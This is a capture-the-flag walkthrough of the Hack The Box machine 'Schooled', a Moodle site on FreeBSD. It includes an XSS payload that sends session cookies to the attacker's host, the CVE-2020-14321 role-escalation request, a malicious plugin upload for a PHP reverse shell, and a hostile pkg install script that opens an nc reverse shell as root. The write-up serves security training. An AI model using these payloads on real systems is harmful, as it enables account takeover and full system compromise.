Hack-The-Box-walkthrough[schooled]

Posted on Edited on In Views: Word count in article: 4.3k Reading time ≈ 16 mins.

introduce

OS: FreeBSD
Difficulty: Medium
Points: 30
Release: 03 Apr 2021
IP: 10.10.10.234

  • my htb rank

information gathering

first use nmap as usaul

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┌──(root💀kali)-[~/hackthebox/machine/schooled]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.234
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open  mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=4/9%Time=60707339%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x
SF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mes
SF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAND
SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC
SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0
SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\
SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

ENUMERATION

After some enumeration i got some users list, then i got subdomain

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admissions@schooled.htb
schooled.htb

ran ffuf to find sub-enumeration its very fast
Compare to gobuster 

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/root/ffuf/ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://schooled.htb/ -H 'Host: FUZZ.schooled.htb'

moodle         [Status: 200, Size: 84, Words: 5, Lines: 2]

then add moodle.schooled.htb to your /etc/hosts

create new account

make sure set mail id @student.schooled.htb

continue

its running on moodle

After some google search i found latest rce for this version 3.9🤩

its vulnerable to CVE-2020-14321

Here is a some reference about this exploit, and how to perform😉

  • moodle​ RCE | CVE​-2020-14321 PoC
  • CVE-2020-14321

Before do this exploit we become manager
So lets switch user to teacher Though xss-account Takeover
ACCOUNT TAKEOVER (Student to Teacher)

  • hint for xss:
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http://moodle.schooled.htb/moodle/mod/forum/user.php?id=24&mode=discussions
  • edit profile:
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http://moodle.schooled.htb/moodle/user/profile.php?id=28
  • put our payload on moodlenet
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http://moodle.schooled.htb/moodle/user/edit.php

Here is the payload i used :

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<img src=x onerror=this.src='http://10.10.14.7:8000/?'+document.cookie;>

Then open your terminal run python -m SimpleHTTPServer (python server) for to catch Manuel Phillip’s cookie

Enroll the course and check the server(our python server)

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python -m SimpleHTTPServer

10.10.10.234 - - [10/Apr/2021 11:52:38] "GET /?MoodleSession=4pot7f8s1sqpobn7bjvidf2s6t HTTP/1.1" 200 -

insert the cookie and we become ‘manuel phillips’

we are now teacher

our id is 24 don’t forget

Go Maths –> Participants

enroll user Lianne Carter

why enroll Lianne Carter ? because she is manager

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http://moodle.schooled.htb/teachers.html

capture the request via burp to become manager/administrartor

change id=24 and rollassign=1

Forward the Request and Now we became Administrator

Then

Go Define roles

Intercept the Request in Burp And Edits all the roles
Copy the payload from CVE-2020-14321

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&return=manage&resettype=none&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel30=1&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel70=1&contextlevel80=0&contextlevel80=1&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=1&block%2Fbadges%3Amyaddinstance=1&block%2Fcalendar_month%3Amyaddinstance=1&block%2Fcalendar_upcoming%3Amyaddinstance=1&block%2Fcomments%3Amyaddinstance=1&block%2Fcourse_list%3Amyaddinstance=1&block%2Fglobalsearch%3Amyaddinstance=1&block%2Fglossary_random%3Amyaddinstance=1&block%2Fhtml%3Amyaddinstance=1&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=1&block%2Fmentees%3Amyaddinstance=1&block%2Fmnet_hosts%3Amyaddinstance=1&block%2Fmyoverview%3Amyaddinstance=1&block%2Fmyprofile%3Amyaddinstance=1&block%2Fnavigation%3Amyaddinstance=1&block%2Fnews_items%3Amyaddinstance=1&block%2Fonline_users%3Amyaddinstance=1&block%2Fprivate_files%3Amyaddinstance=1&block%2Frecentlyaccessedcourses%3Amyaddinstance=1&block%2Frecentlyaccesseditems%3Amyaddinstance=1&block%2Frss_client%3Amyaddinstance=1&block%2Fsettings%3Amyaddinstance=1&block%2Fstarredcourses%3Amyaddinstance=1&block%2Ftags%3Amyaddinstance=1&block%2Ftimeline%3Amyaddinstance=1&enrol%2Fcategory%3Asynchronised=1&message%2Fairnotifier%3Amanagedevice=1&moodle%2Fanalytics%3Alistowninsights=1&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=1&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=1&moodle%2Fportfolio%3Aexport=1&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=1&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=1&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=1&moodle%2Fsite%3Amaintenanceaccess=1&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=1&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=1&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=1&moodle%2Fuser%3Amanageownblocks=1&moodle%2Fuser%3Amanageownfiles=1&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=1&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=1&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=1&tool%2Fdataprivacy%3Amanagedatarequests=1&tool%2Fdataprivacy%3Arequestdeleteforotheruser=1&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=1&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=1&moodle%2Fbadges%3Amanageownbadges=1&moodle%2Fbadges%3Aviewotherbadges=1&moodle%2Fcompetency%3Aevidencedelete=1&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=1&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=1&moodle%2Fcompetency%3Aplanmanageowndraft=1&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=1&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=1&moodle%2Fcompetency%3Aplanviewowndraft=1&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3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payload:

Paste in the intercepted request in burp

Forward the request

Upload Payload to get shell

Now its time to get reverse shell

RCE can be achieved by uploading into plugin section and calling the Plugin from browser to get shell

Lets begin

get shell

Upload Plugin

Location of Plugin

Malicious Plugin can be downloaded from Moodle_RCE

unzip it and put php-reverse-shell

change the IP and PORT

Upload the plugin

and start a listen on netcat

and start a listen on netcat

RCE Intial Shell

Trigger RCE

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domain/blocks/rce/lang/en/block_rce.php?cmd=id*

we got shell

Mysql Creds

Jamie(admin) Hash 

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$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW

crack via john

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john hash -w=/usr/share/wordlists/rockyou.txt

already cracked it take few minutes depend on your pc
So Jamie password is ‘!QAZ2wsx’

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jamie@Schooled:~ $ id
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
jamie@Schooled:~ $ whoami
jamie
jamie@Schooled:~ $ cat user.txt
39a50aff4788e4486058408e4ab91bd1

privilege esclation

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jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

Here is the some reference for privilleged escalation

  • Creating Custom Packages on FreeBSD

Here is the script for root

  • exp.sh
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#!/bin/sh
STAGEDIR=/tmp/package
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
# careful here, this may clobber your system
echo “Resetting root shell”
rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.14.7 9080 >/tmp/a
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo “Registering root shell”
pw usermod -n root -s /bin/sh
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: “1.0_5”
origin: sysutils/mypackage
comment: “automates stuff”
desc: “automates tasks which can also be undone later”
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o .

Run the script on victim (jamie) machine, run this command

and we got root

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jamie@Schooled:~ $ chmod +x exploit.sh 
jamie@Schooled:~ $ ./exploit.sh 
jamie@Schooled:~ $ ls
exploit.sh                      mypackage-“1.0_5”.txz           user.txt
jamie@Schooled:~ $ sudo pkg install --no-repo-update *.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        mypackage: “1.0_5”

Number of packages to be installed: 1

Proceed with this action? [y/N]: y
[1/1] Installing mypackage-“1.0_5”...
“Resetting root shell”
rm: /tmp/a: No such file or directory
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┌──(root💀kali)-[~/hackthebox/machine/schooled]
└─# nc -lvp 9080
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9080
Ncat: Listening on 0.0.0.0:9080
Ncat: Connection from 10.10.10.234.
Ncat: Connection from 10.10.10.234:38734.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# whoami
root
# cat /root/root.txt
58c6281b0eddaff94df2d1e96b6e2520
#

Summary of knowledge

  • use ffuf to bruteforce subdomains
  • reflect xss to get teacher’s cookie
  • CVE-2020-14321 RCE to get a reverse shell
  • Creating Custom Packages on FreeBSD to privilleged escalation

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…